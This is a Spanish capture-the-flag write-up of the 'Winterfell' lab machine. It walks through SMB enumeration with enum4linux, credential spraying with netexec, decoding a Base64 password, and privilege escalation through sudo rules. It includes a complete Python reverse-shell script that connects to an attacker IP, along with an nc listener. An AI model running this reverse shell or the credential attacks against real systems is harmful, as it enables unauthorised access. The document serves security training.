Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipwinterfell.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shwinterfell.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Si vemos que contiene la pagina, veremos que es muy normalita, por lo que haremos un poco de fuzzing.
Gobuster
Info:
Vemos un directorio interesante llamado /dragon, vamos a ver que contiene:
Si entramos dentro de /dragon veremos un archivo llamado EpisodiosT1 y si entramos dentro, veremos lo siguiente:
Vemos que parecen ser contraseñas de algun usuario del sistema, por lo que vamos a probar a tirar un hydra con lista de usuarios al puerto de SMB y que por SSH no veremos nada.
Pero antes tendremos que identificar que usuarios hay, como tenemos el SMB podremos intentar enumerarlo:
Escalate user jon
enum4linux
Info:
Vemos que hay un usuario llamado jon, por lo que haremos lo siguiente...
netexec
dic.txt
Info:
Vemos que hemos encontrado las credenciales del usuario jon para el SMB, por lo que vamos a listar los recursos compartidos que tiene la maquina:
smbclient
Info:
Vemos que hay un recurso creado por el usuario llamado shared por lo que vamos a conectarnos a el mediante las credenciales obtenidas anteriormente:
Metemos como contraseña seacercaelinvierno y veremos que estamos dentro.
Si listamos veremos lo siguiente:
Nos vamos a descargar el archivo y ver que contiene:
Si lo leemos veremos lo siguiente:
Vemos que hay un codigo en Base64, si lo decodificamos veremos lo siguiente:
Puede ser que sea la credencial de jon para el ssh, por lo que haremos lo siguiente:
Metemos como contraseña hijodelanister y veremos que estamos dentro como dicho usuario.
Escalate user aria
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el script /home/jon/.mensaje.py como el usuario aria, por lo que haremos lo siguiente:
Primero vemos que el script esta en nuestra carpeta de la home por lo que podremos eliminarla y crear una nueva con el mismo nombre con el contenido que queramos:
Lo guardamos y ejecutamos lo siguiente:
En nuestro host nos pondremos a la escucha:
Ahora ejecutamos en la maquina victima lo siguiente:
Una vez ejecutado eso, veremos lo siguiente si nos vamos a nuestra escucha:
Vemos que hemos obtenido la shell como el usuario aria.
Escalate user daenerys
Sanitización la shell (TTY)
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar cat y ls como el usuario daenerys, por lo que haremos lo siguiente:
Info:
Vemos que hay un archivo, que si lo leemos veremos lo siguiente:
Info:
Vemos que puede ser la contraseña del usuario daenerys, por lo que haremos lo siguiente:
Metemos como contraseña drakaris, y veremos que somo dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario bash junto con /home/daenerys/.secret/.shell.sh como el usuario root, por lo que haremos lo siguiente:
Si hacemos lo siguiente:
Info:
Vemos que podemos editar el archivo, por lo que haremos lo siguiente:
Lo guardamos y ejecutamos lo siguiente:
Ahora si listamos la bash:
Info:
Vemos que ha funcionado, por lo que haremos lo siguiente:
Info:
Y con esto seremos root, por lo que habremos terminado la maquina.
Estos son todos los Episodios de la primera temporada de Juego de tronos.
Tengo la barra espaciadora estropeada por lo que dejare los nombres sin espacios, perdonad las molestias
seacercaelinvierno
elcaminoreal
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo
enum4linux <IP>
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jan 20 09:56:39 2025
=========================================( Target Information )=========================================
Target ........... 172.17.0.2
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=============================( Enumerating Workgroup/Domain on 172.17.0.2 )=============================
[E] Can't find workgroup/domain
=================================( Nbtstat Information for 172.17.0.2 )=================================
Looking up status of 172.17.0.2
No reply from 172.17.0.2
====================================( Session Check on 172.17.0.2 )====================================
[+] Server 172.17.0.2 allows sessions using username '', password ''
=================================( Getting domain SID for 172.17.0.2 )=================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
====================================( OS information on 172.17.0.2 )====================================
[E] Can't get OS info with smbclient
[+] Got OS info for 172.17.0.2 from srvinfo:
83214CBA54C7 Wk Sv PrQ Unx NT SNT Samba 4.17.12-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
========================================( Users on 172.17.0.2 )========================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: jon Name: Desc:
user:[jon] rid:[0x3e8]
==================================( Share Enumeration on 172.17.0.2 )==================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shared Disk
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk Home Directories
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 172.17.0.2 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 172.17.0.2
//172.17.0.2/print$ Mapping: DENIED Listing: N/A Writing: N/A
//172.17.0.2/shared Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_CONNECTION_REFUSED listing \*
//172.17.0.2/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//172.17.0.2/nobody Mapping: DENIED Listing: N/A Writing: N/A
=============================( Password Policy Information for 172.17.0.2 )=============================
[+] Attaching to 172.17.0.2 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] 83214CBA54C7
[+] Builtin
[+] Password Info for Domain: 83214CBA54C7
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
========================================( Groups on 172.17.0.2 )========================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
===================( Users on 172.17.0.2 via RID cycling (RIDS: 500-550,1000-1050) )===================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-5-21-3269527173-155815558-2590245247 and logon username '', password ''
S-1-5-21-3269527173-155815558-2590245247-501 83214CBA54C7\nobody (Local User)
S-1-5-21-3269527173-155815558-2590245247-513 83214CBA54C7\None (Domain Group)
S-1-5-21-3269527173-155815558-2590245247-1000 83214CBA54C7\jon (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\jon (Local User)
S-1-22-1-1001 Unix User\aria (Local User)
S-1-22-1-1002 Unix User\daenerys (Local User)
================================( Getting printer info for 172.17.0.2 )================================
No printers returned.
enum4linux complete on Mon Jan 20 09:57:19 2025
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shared Disk
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk Home Directories
smbclient //<IP>/shared -U jon
. D 0 Tue Jul 16 16:26:00 2024
.. D 0 Tue Jul 16 16:25:59 2024
proteccion_del_reino N 313 Tue Jul 16 16:26:00 2024
get proteccion_del_reino
Aria de ti depende que los caminantes blancos no consigan pasar el muro.
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender.
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=
hijodelanister
ssh jon@<IP>
Matching Defaults entries for jon on 83214cba54c7:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User jon may run the following commands on 83214cba54c7:
(aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
rm /home/jon/.mensaje.py
nano /home/jon/.mensaje.py
#Dentro del nano
#!/bin/python3
import socket
import subprocess
import os
# Configuración del atacante (IP y puerto)
ATTACKER_IP = "<IP>" # Reemplázalo con tu IP
ATTACKER_PORT = <PORT> # Reemplázalo con tu puerto
# Establecer conexión con el atacante
def reverse_shell():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ATTACKER_IP, ATTACKER_PORT))
# Redirigir entrada, salida y errores al socket
os.dup2(s.fileno(), 0) # STDIN
os.dup2(s.fileno(), 1) # STDOUT
os.dup2(s.fileno(), 2) # STDERR
# Iniciar shell
subprocess.call(["/bin/bash", "-i"])
except Exception as e:
print(f"Error: {e}")
s.close()
if __name__ == "__main__":
reverse_shell()
nc -lvnp <PORT>
sudo -u aria python3 /home/jon/.mensaje.py
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 41662
aria@83214cba54c7:/home/jon$
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for aria on 83214cba54c7:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User aria may run the following commands on 83214cba54c7:
(daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls
Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude a recuperar el trono de hierro.
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu ordenador.
!drakaris!
su daenerys
Matching Defaults entries for daenerys on 83214cba54c7:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User daenerys may run the following commands on 83214cba54c7:
(ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh